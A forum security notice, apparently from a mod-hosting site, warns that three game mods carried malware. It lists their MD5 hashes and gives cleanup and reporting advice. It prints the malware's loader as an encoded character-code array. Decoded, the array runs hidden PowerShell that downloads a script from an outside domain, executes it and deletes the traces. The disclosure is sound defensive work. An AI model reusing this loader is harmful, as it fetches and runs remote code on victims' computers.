If you had installed the following mods:
"Auto Save on Exit" by Subaiy MD5 hash - 6246fa47c492250128cbb4a463d2161a
"Kill Counter" by Daniel (if you downloaded this one: https://modworkshop.net/mod/56156 you are fine.) MD5 hash - bcee56cc847489a2a328189ba882d95e
"Enemies Drop Better Loot" by Krunker (If you downloaded this one: https://modworkshop.net/mod/56230 you are fine). MD5 hash - ba9e7d88f1079c0324d53bde5786e4da)
Your PC is likely infected with a malware. Do a proper reset to your computer.
What are we gonna do next?
- We are going to look for moderators to look at new mods for RTV.
- We'll be looking into ways to improve the site itself to better protect against these bad actors and also to let users know if a mod was infected - https://modworkshop.net/thread/13229.
What can you do
- Again if you are infected, factory reset your computer.
- Search for suspicious things in the mods you download (like "powershell")
These attacks all follow the same pattern, they execute a powershell script using some encoded URL:
[64,101,99,104,111,32,111,102,102,10,115,116,97,114,116,32,47,98,32,112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,101,112,32,98,121,112,97,115,115,32,45,119,32,72,105,100,100,101,110,32,45,99,32,34,105,119,114,32,104,116,116,112,115,58,47,47,114,111,97,100,116,111,118,111,115,116,111,107,46,115,116,111,114,101,47,100,97,46,112,115,49,32,45,111,117,116,32,37,84,69,77,80,37,92,100,108,46,112,115,49,32,45,117,115,101,98,59,32,112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,101,112,32,98,121,112,97,115,115,32,45,119,32,72,105,100,100,101,110,32,45,102,32,37,84,69,77,80,37,92,100,108,46,112,115,49,59,32,83,116,97,114,116,45,83,108,101,101,112,32,53,59,32,100,101,108,32,37,84,69,77,80,37,92,100,108,46,112,115,49,34,10,100,101,108,32,34,37,126,48,34] - Check file hash of the file you downloaded using: https://hash-file.online.
- Any mod containing powershell script without a good reason should be reported to moderators.
- Any mod that isn't open-source should be reported.
Is there any way to prevent this kind of thing from continuing to happen? Are mod files scanned before authors upload them?
Generally no, but we have moderators that actively look at mods and reports.
One of the banned users was an account from 2023 so it's not impossible for them to have dormant accounts on sites.
In the end if you find a mod is malicious, report it.
@luffy Your explanation was very detailed. If I come across any malicious mods, I’ll make sure to report them. Thank you for your work and dedication.